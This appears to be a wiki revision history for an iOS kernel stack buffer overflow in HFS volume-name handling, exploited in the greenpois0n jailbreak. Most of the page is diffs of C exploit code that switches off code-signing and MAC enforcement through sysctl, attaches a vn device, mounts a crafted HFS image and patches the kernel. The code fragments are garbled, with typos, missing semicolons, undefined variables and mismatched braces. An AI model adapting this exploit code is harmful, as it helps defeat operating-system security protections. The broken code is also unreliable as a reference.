HFS Legacy Volume Name Stack Buffer Overflow - Revision history

Awesomebing1: Better formatting. If anyone could please seperate vm_prep and main, that would be awesome.

2015-03-28T14:21:26Z

Better formatting. If anyone could please seperate vm_prep and main, that would be awesome.

Sjeezpwn at 14:17, 28 March 2015

2015-03-28T14:17:58Z

Sjeezpwn at 14:17, 28 March 2015

2015-03-28T14:17:25Z

Sjeezpwn: /* Exploiting the Kernel Bug */

2015-03-28T14:15:51Z

‎Exploiting the Kernel Bug

Sjeezpwn at 14:12, 28 March 2015

2015-03-28T14:12:35Z

Jacob: I0n1cs presentation also includes information about this vulnerability and exploit

2011-09-23T07:03:35Z

I0n1cs presentation also includes information about this vulnerability and exploit

Dialexio: /* Sources for information */

2011-06-13T12:39:55Z

‎Sources for information

Http: /* Sources for information */ technical info of HFS name exploit

2011-06-13T10:32:50Z

‎Sources for information: technical info of HFS name exploit

Dialexio: Rewritten.

2011-02-14T01:37:40Z

Rewritten.

5urd at 19:41, 6 February 2011

2011-02-06T19:41:50Z

@@ Line 25: / Line 25: @@
    int i = open("/dev/vn0", O_RDONLY, 0);
    if(i < 0){
-   puts("[-]Can't open /dev/vn0");
+      puts("[-]Can't open /dev/vn0");
-   exit(1);
+      exit(1);
+   }
    ioctl(i, VNIOCDETACH, &vn);
@@ Line 33: / Line 33: @@
    if(ioctl(i, VNIOCATTACH, &vn) < 0)
+   {
-   puts("[-]Coudn't attach to /dev/vn0")''
+      puts("[-]Coudn't attach to /dev/vn0")''
-   close(i);
+      close(i);
-   exit(1);
+      exit(1);
-−
+   }
    return close(1);
+  }
   int main(int argc, char const *argv[])
@@ Line 64: / Line 63: @@
    sysctlbyname("security.mac.vnode_enforce", 0, 0, &one, sizeof(uint32_t));
    patch_kernel();
    return 0;
+   }

← Older revision		Revision as of 14:17, 28 March 2015
Line 65:		Line 65:
	patch_kernel();		patch_kernel();

−	return 0;	+	return 0;
−	}	+	}

	== Credit ==		== Credit ==

@@ Line 22: / Line 22: @@
   int prep_vn()
+  {
-  vn_ioctl vn;
+   vn_ioctl vn;
-  int i = open("/dev/vn0", O_RDONLY, 0);
+   int i = open("/dev/vn0", O_RDONLY, 0);
-  if(i < 0){
+   if(i < 0){
-  puts("[-]Can't open /dev/vn0");
+   puts("[-]Can't open /dev/vn0");
-  exit(1);
+   exit(1);
+  }
+  }
   int main(int argc, char const *argv[])
+  {
-  int result;
+   int result;
-  struct stat i;
+   struct stat i;
-  uint32_t zero = 0, one = 1;
+   uint32_t zero = 0, one = 1;
-  sysctlbyname("security.mac.vnode_enforce", 0, 0, &zero, sizeof(uint32_t));
+   sysctlbyname("security.mac.vnode_enforce", 0, 0, &zero, sizeof(uint32_t));
-  sysctlbyname("vm.cs_validation", 0, 0, &zero, sizeof(uint32_t))
+   sysctlbyname("vm.cs_validation", 0, 0, &zero, sizeof(uint32_t))
-  prep_vn();
+   prep_vn();
-  i.st_uid = 0;
+   i.st_uid = 0;
-  i.st_gid = 0;
+   i.st_gid = 0;
-  i.st_rdev = 0;
+   i.st_rdev = 0;
-  i.st_atimespec.tv_nsec = 0;
+   i.st_atimespec.tv_nsec = 0;
-  i.st_atimespec.tv_sec = 0;
+   i.st_atimespec.tv_sec = 0;
-  i.st_mtimespec.tv_nsec = 0;
+   i.st_mtimespec.tv_nsec = 0;
-  i.st_mtimespec.tv_sec = 0;
+   i.st_mtimespec.tv_sec = 0;
-  i.st_ctimespec.tv_sec = 0;
+   i.st_ctimespec.tv_sec = 0;
-  i.st_dev = (dev_t)"/dev/vn0";
+   i.st_dev = (dev_t)"/dev/vn0";
-  i.st_ino = 99;
+   i.st_ino = 99;
-  i.st_uid = 453;
+   i.st_uid = 453;
-  puts("[+]Trigger kernel exploit");
+   puts("[+]Trigger kernel exploit");
-  mnt_our_hfs();
+   mnt_our_hfs();
-  sysctlbyname("security.mac.vnode_enforce", 0, 0, &one, sizeof(uint32_t));
+   sysctlbyname("security.mac.vnode_enforce", 0, 0, &one, sizeof(uint32_t));
-  patch_kernel();
+   patch_kernel();
   return 0;

@@ Line 10: / Line 10: @@
   int mnt_our_hfs()
+  {
-	struct hfs_mount_args i;
+   struct hfs_mount_args i;
-	bzero(i, sizeof(i));
+   bzero(i, sizeof(i));
-	i.fspec = (int)"/dev/vn0";
+   i.fspec = (int)"/dev/vn0";
-	i.hfs_uid = args.hfs_gid = 99;
+   i.hfs_uid = args.hfs_gid = 99;
-	i.hfs_mask = 0x1C5;
+   i.hfs_mask = 0x1C5;
-	puts("[+]Triggering the kernel exploit");
+   puts("[+]Triggering the kernel exploit");
-	mount("hfs", "mnt/", MNT_RDONLY, i);
+   mount("hfs", "mnt/", MNT_RDONLY, i);
-	return puts("[+] Payload was successful");
+   return puts("[+] Payload was successful");
+  }
   int prep_vn()
+  {
-	vn_ioctl vn;
+  vn_ioctl vn;
-	int i = open("/dev/vn0", O_RDONLY, 0);
+  int i = open("/dev/vn0", O_RDONLY, 0);
-	if(i < 0){
+  if(i < 0){
-		puts("[-]Can't open /dev/vn0");
+  puts("[-]Can't open /dev/vn0");
-		exit(1);
+  exit(1);
+  }
   int main(int argc, char const *argv[])
+  {
-	int result;
+  int result;
-	struct stat i;
+  struct stat i;
-	uint32_t zero = 0, one = 1;
+  uint32_t zero = 0, one = 1;
-	sysctlbyname("security.mac.vnode_enforce", 0, 0, &zero, sizeof(uint32_t));
+  sysctlbyname("security.mac.vnode_enforce", 0, 0, &zero, sizeof(uint32_t));
-	sysctlbyname("vm.cs_validation", 0, 0, &zero, sizeof(uint32_t))
+  sysctlbyname("vm.cs_validation", 0, 0, &zero, sizeof(uint32_t))
-	prep_vn();
+  prep_vn();
-	i.st_uid = 0;
+  i.st_uid = 0;
-	i.st_gid = 0;
+  i.st_gid = 0;
-	i.st_rdev = 0;
+  i.st_rdev = 0;
-	i.st_atimespec.tv_nsec = 0;
+  i.st_atimespec.tv_nsec = 0;
-	i.st_atimespec.tv_sec = 0;
+  i.st_atimespec.tv_sec = 0;
-	i.st_mtimespec.tv_nsec = 0;
+  i.st_mtimespec.tv_nsec = 0;
-	i.st_mtimespec.tv_sec = 0;
+  i.st_mtimespec.tv_sec = 0;
-	i.st_ctimespec.tv_sec = 0;
+  i.st_ctimespec.tv_sec = 0;
-	i.st_dev = (dev_t)"/dev/vn0";
+  i.st_dev = (dev_t)"/dev/vn0";
-	i.st_ino = 99;
+  i.st_ino = 99;
-	i.st_uid = 453;
+  i.st_uid = 453;
-	puts("[+]Trigger kernel exploit");
+  puts("[+]Trigger kernel exploit");
-	mnt_our_hfs();
+  mnt_our_hfs();
-	sysctlbyname("security.mac.vnode_enforce", 0, 0, &one, sizeof(uint32_t));
+  sysctlbyname("security.mac.vnode_enforce", 0, 0, &one, sizeof(uint32_t));
-	patch_kernel();
+  patch_kernel();
-	return 0;
+  return 0;
+  }
 == Credit ==
 [[User:Jan0|jan0]], [[User:pod2g|pod2g]], [[User:posixninja|Posixninja]]

@@ Line 1: / Line 1: @@
 The '''HFS Legacy Volume Name Stack Buffer Overflow''' is a [[kernel]] vulnerability used to achieve an [[untethered jailbreak]]. Its exploit implementation, dubbed "feedface,"[https://twitter.com/pod2g/status/33997326070583296] was used in conjunction with limera1n's [[bootrom]] exploit or the [[usb_control_msg(0xA1, 1) Exploit]] in [[greenpois0n (jailbreak)|greenpois0n]].
 == Credit ==
 [[User:Jan0|jan0]], [[User:pod2g|pod2g]], [[User:posixninja|Posixninja]]

@@ Line 7: / Line 7: @@
 *[http://www.twitlonger.com/show/8jep67 TwitLonger]
 *http://pastie.org/2060071 (from a [https://twitter.com/0naj/status/80211549427482624 tweet] by [[User:jan0|jan0]])
 [[Category:Exploits]]

← Older revision		Revision as of 01:37, 14 February 2011
Line 1:		Line 1:
−	'''HFS Legacy Volume Name Stack Buffer Overflow''' is ~~also~~ ~~called~~ ~~''Feedface''~~[~~http~~://twitter.com/pod2g/status/33997326070583296].	+	The '''HFS Legacy Volume Name Stack Buffer Overflow''' is a [[kernel]] vulnerability used to achieve an [[untethered jailbreak]]. Its exploit implementation, dubbed "feedface,"[https://twitter.com/pod2g/status/33997326070583296] was used in conjunction with limera1n's [[bootrom]] exploit or the [[usb_control_msg(0xA1, 1) Exploit]] in [[greenpois0n (jailbreak)\|greenpois0n]].
−	This is a [[kernel]] exploit used in [[Greenpois0n (jailbreak)\|greenpois0n]], along with limera1n's [[bootrom]] exploit or the [[usb_control_msg(0xA1, 1) Exploit]], to achieve an [[untethered jailbreak]] for devices invulnerable to [[Pwnage 2.0]].

	== Credit ==		== Credit ==

← Older revision		Revision as of 19:41, 6 February 2011
Line 1:		Line 1:
−	~~This~~ ~~exploit~~ is also called ''Feedface''[http://twitter.com/pod2g/status/33997326070583296].	+	'''HFS Legacy Volume Name Stack Buffer Overflow''' is also called ''Feedface''[http://twitter.com/pod2g/status/33997326070583296].
	This is a [[kernel]] exploit used in [[Greenpois0n (jailbreak)\|greenpois0n]], along with limera1n's [[bootrom]] exploit or the [[usb_control_msg(0xA1, 1) Exploit]], to achieve an [[untethered jailbreak]] for devices invulnerable to [[Pwnage 2.0]].		This is a [[kernel]] exploit used in [[Greenpois0n (jailbreak)\|greenpois0n]], along with limera1n's [[bootrom]] exploit or the [[usb_control_msg(0xA1, 1) Exploit]], to achieve an [[untethered jailbreak]] for devices invulnerable to [[Pwnage 2.0]].